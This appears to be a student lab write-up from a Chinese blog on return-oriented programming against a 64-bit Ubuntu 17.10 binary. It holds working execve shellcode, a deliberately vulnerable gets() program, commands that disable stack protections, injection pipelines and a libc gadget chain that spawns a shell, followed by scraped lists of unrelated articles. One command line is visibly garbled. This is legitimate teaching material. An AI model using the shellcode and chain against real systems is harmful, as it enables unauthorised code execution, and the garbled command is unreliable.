20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击

基础知识

ROP攻击

  • ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。

  • ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。

  • ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。从广义角度讲 ,return-to-libc攻击是ROP攻的特例。最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。

  • 通过execve系统调用来启动一个shell。为了向后兼容,64位Linux支持32位Linux系统调用,因此我们可能会认为我们可以重复使用针对32位系统的shellcode。 但是,execve系统调用需要一个内存地址来保存应该执行的程序的NUL终止名称。 我们的shellcode可能被注入某个地方,这要求我们引用大于32位的内存地址。 因此我们必须使用64位系统调用。

实验环境

  • 虚拟机系统:Ubuntu 17.10.1(64位)

前期准备

  • 根据X86_64 ABI的调用约定,函数间传递参数不再以压栈的方式,而是以寄存器方式传递参数,前面6个参数依次以rdi, rsi, rdx, rcx, r8和r9寄存来传递。在Linux系统,64位架构只使用48位的虚拟地址空间,也即每个地址高16位全部为0,因此在64位系统上,地址已天然零化,ret2libc攻击似乎没有了用武之地,在ret2libc的基础上我们采用ROP攻击方法。
  • 我们现在先假设栈没有可执行属性,那么需要自己编写一个shell来执行,考虑通过execve系统调用来实现。我们直接将汇编代码放在shell.c文件中:
int main() {
asm("\
needle0: jmp there\n\
here: pop %rdi\n\
xor %rax, %rax\n\
movb $0x3b, %al\n\
xor %rsi, %rsi\n\
xor %rdx, %rdx\n\
syscall\n\
there: call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
");
}
  • 无论我们的代码在内存中的哪个地方结束,call-pop指令都将使用/bin/sh字符串的地址加载rdi寄存器,接下来编译运行shell.c文件,成功获得了一个shell:

实践过程

  • 我们先提取要注入的payload,查看机器代码:objdump -d a.out | sed -n '/needle0/,/needle1/p'

  • 在64位系统上,代码段通常位于0x400000,在该二进制文件中,我们的代码位于0x4b8的偏移量处,并在偏移量0x4d5之前完成,共有29个字节:

  • 查看我们的shellcode:

  • 接着,我们看一个被攻击的简单代码victim.c:

#include <stdio.h>
int main() {
char name[64];
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
  • 在Ubuntu系统上,有三种对策来保护堆栈,第一种是SSP,又名ProPolice,编译器重新排列堆栈布局,使缓冲区溢出不太危险,并插入运行时堆栈完整性检查;第二种是可执行空间保护(NX),当尝试在堆栈中执行代码时会导致分段错误;第三种地址空间布局随机化(ASLR),堆栈的位置每次运行都是随机的,所以即使我们可以覆盖返回地址,也不知道该放在哪里。

三种攻击尝试

第一种尝试

  1. 我们可以想办法绕过这些方法,使用gcc的-fno-stack-protector选项禁用堆栈保护,编译victim,然后使用execstack -s指令禁用可执行文件空间保护,发现提示没有安装:

  2. 安装完成之后,禁用可执行文件空间保护,然后在运行文件时禁用ASLR:

  3. 我们再在原victim.c代码的基础上加上一句printf("%p\n", name);,打印缓冲区的位置,然后再编译运行:
#include <stdio.h>
int main()
{
char name[64];
printf("%p\n", name); // Print address of buffer
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
  1. 后面的过程中应该也会出现该缓冲区的地址,我们让它以小端法显示:

  2. 这个时候我们攻击我们的victim.c程序,可以看到攻击成功:
( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ; > cat ) | setarch `arch` -R ./victim

第二种尝试

  1. 接着,我们再通过一个例子来看看打补丁的重要性,在以前,我们可以通过查看/proc/pid/stat来读取任何进程的ESP注册表,但是这种漏洞很早就被修复了,我们假装目前在没有打补丁的系统上,先查看所有进程的esp:

  2. 我们先运行禁用了ASLR的victim程序:

  3. 再在另一个终端窗口查看victim程序的esp:

  4. 因此,当程序正在等待用户输入时,它的堆栈指针0x7fffffece8,我们计算从这个指针到名称缓冲区的距离:

  5. 现在重新运行启用了ASLR的victim程序:

  6. 我们查找victim进程的esp指针,然后添加上偏移量,就是上一步中运行victim程序的缓冲区地址:

  7. 接着用管道命令来进行演示:

  8. 在另一个终端中输入

    ```sp=ps --no-header -C victim -o esp $ a=printf 6x $((0x7fff$sp+88)) | tac -r -s.. $ ( ( cat shellcode ; printf 0d 0 ; echo $a ) | xxd -r -p ; cat ) > pip
可以看到攻击成功,获取到了shell:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325182654855-445431169.png) ### 第三种尝试
1. 先通过运行`execstack -c`指令重新启动可执行空间保护,此外,在ROP攻击中代码片段从可执行内存中挑选出来,例如,它们可能是`libc`的片段,所以我们还要通过`locate`指令找到`libc`的位置,如图所示,我们选择第一个:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183053931-1761408555.png)
2. 我们希望执行`pop %rdi retq`,而指向`/bin/sh`的指针位于堆栈的顶部。这将在推进堆栈指针之前将指针分配给rdi,相应的机器代码是两个字节的序列`0x5f 0xc3`,它应该在libc的某处发生。但是没有Linux工具能够直接在文件中搜索给定的字节序列,所以我们可以用下面的grep指令来实现检索:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183339794-1561323510.png)
3. 在ROP中,以RET结尾的一系列指令称为gadget,如果我们用以下顺序覆盖返回地址:libc的地址+ 0x22a12;“/bin/sh”的地址;libc的system()函数的地址,然后在执行下一个ret指令时,程序将弹出“/bin/sh”的地址到rdi,然后跳转到系统函数,我们就可以达到我们的目的。先输入如下指令运行禁用了ASLR的victim程序:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183456731-689281955.png)
4. 再在另一个终端中输入如下指令:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183613826-1824306279.png)
5. 我们可以看到,libc被加载到从`0x7ffff7a1a000`开始的内存中,因此gadget地址是`0x7ffff7a1a000 + 0x22a12`,`/bin/sh`的地址我们之前已经找到了,是`0x7fffffffed40`,最后我们通过下面的指令来找libc的system()函数的地址:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183642170-846461297.png)
6. 我们可以得到libc的system()函数的地址是`0x7ffff7a1a000 + 0x45730`,最后将它们放到一起,成功得到了shell:
![](https://images2018.cnblogs.com/blog/886779/201803/886779-20180325183730159-186110770.png) **参考文献**:[64-bit Linux Return-Oriented Programming](http://blog.sina.com.cn/s/blog_858820890101dr3q.html)

20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击的更多相关文章

  1. Android 源码编译环境搭建(64位Ubuntu)各种依赖包安装

    1.准备: 普通PC(要求能上网), PC的操作系统Ubuntu 10.04 LTS(64位的),已经下载好的Android 1.6_r1的源代码. 2.Linux的依赖package安装: 为了更快 ...

  2. 64位Ubuntu系统下ROP攻击

    64位Ubuntu系统下ROP攻击 基础知识 ROP攻击 ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可 ...

  3. 20145231熊梓宏 《网络对抗》 实验9 Web安全基础实践

    20145231熊梓宏 <网络对抗> 实验9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? •SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面 ...

  4. 04.ubuntu下kvm 命令行安装64位ubuntu报"Couldn't find hvm kernel for Ubuntu tree."的问题

    1.安装ubuntu时使用的virt-install的配置: virt-install \ --name test4 \ --ram 1024 \ --disk path=/data/01_ubunt ...

  5. 64位Ubuntu运行32位程序时报文件不存在(No such file or Directory)的一种解决办法

    尝试在64位Ubuntu下面运行32位程序时, 一直说 文件不存在(No such file or directory), 我只想说++. 你tm说个文件格式不正确不就好了? 非得说个文件不存在! 真 ...

  6. 64位ubuntu下重新编译hadoop2.2流水账

    hadoop官方网站中只提供了32位的hadoop-2.2.0.tar.gz,如果要在64位ubuntu下部署hadoop-2.2.0,就需要重新编译源码包,生成64位的部署包.建议以下操作使用roo ...

  7. 64位ubuntu安装32位jdk

    转自:http://blog.csdn.net/anladeyatou/article/details/8213334 ubuntu-11.10-desktop-amd64 jdk-6u23-linu ...

  8. 怎样打开64位 Ubuntu 的32位支持功能?

    怎样打开64位 Ubuntu 的32位支持功能? 现在有一个让你可以在64位系统中使用32位软件的方法,就在你读了这篇文章然后照着做了之后就可以了.如果你有一个13.10或更高版本的Ubuntu/De ...

  9. 64位ubuntu编译32位程序

      最近在64位ubuntu上开发,需要编译32位程序,需要安装这两个包,然后在编译器参数加上-m32.不放心的话可以用ldd或file查看一下是否生成了对应位数的程序. $ apt-get inst ...

随机推荐

  1. RxJS 实现摩斯密码(Morse) 【内附脑图】

    参加 2018 ngChina 开发者大会,特别喜欢 Michael Hladky 奥地利帅哥的 RxJS 分享,现在拿出来好好学习工作坊的内容(工作坊Demo地址),结合这个示例,做了一个改进版本, ...

  2. java开发知识IO知识之输入输出流以及文件

    目录 java开发知识IO知识之输入输出流以及文件 一丶流概述 二丶输入流讲解 InputStream类. 1. 输入流以及类层次结构 2.文件操作.使用输入流读取 三丶输出流 OutputStrea ...

  3. 基于Dapper二次封装了一个易用的ORM工具类:SqlDapperUtil

    基于Dapper二次封装了一个易用的ORM工具类:SqlDapperUtil,把日常能用到的各种CRUD都进行了简化封装,让普通程序员只需关注业务即可,因为非常简单,故直接贴源代码,大家若需使用可以直 ...

  4. 解读经典《C#高级编程》泛型 页114-122.章4

    前言 本章节开始讲解泛型..Net从2.0开始支持泛型,泛型不仅是C#的一部分,也与IL代码紧密集成.所以C#中泛型的实现非常优雅.相对于C#,Java是后期引入的泛型,受限于最初的设计架构,就实现的 ...

  5. VBA中使用正则的两种方式

    第一种方式(需要引用VBScript RegularExpression 5.5类库) Option Explicit Sub RegularExpresstion()'方法块 Dim regex A ...

  6. 持续集成配置之Nuget

    持续集成配置之Nuget Intro 本文是基于微软的 VSTS(Visual Studio Team Service) 做实现公众类库的自动打包及发布. 之前自己的项目有通过 Github 上的 T ...

  7. WPF 文本框设置了阴影效果后,因左右的transform变化引发的拉伸渲染问题

    背景 最近遇到一个动画执行时,文本位置变化的问题.如下图: 如果你仔细看的话,当星星变小时,文本往下降了几个像素. 貌似有点莫名其妙,因为控件之间并不在同一个Panel布局控件中,不存在高度限制变化引 ...

  8. 基于MVC的网站和在线教育系统

    最近老表说要创业,想要做一个网站做宣传,还想要一个在线教育系统. 学习了一部分 Java,  决定用.Net MVC做官网或直接做成静态HTML网站,主要是因为.Net MVC 技术简单,效率高,需求 ...

  9. [Go] golang缓冲通道实现管理一组goroutine工作

    通道1.当一个资源需要在goroutine之间共享时,通道在goroutine之间架起了一个管道2.无缓冲通道和有缓冲通道,make的第二个参数就是缓冲区大小3.无缓冲通道需要发送和接收都准备好,否则 ...

  10. 学习笔记——二叉树相关算法的实现(Java语言版)

    二叉树遍历概念和算法 遍历(Traverse): 所谓遍历(Traversal)是指沿着某条搜索路线,依次对树中每个结点均做一次且仅做一次访问. 从二叉树的递归定义可知,一棵非空的二叉树由根结点及左. ...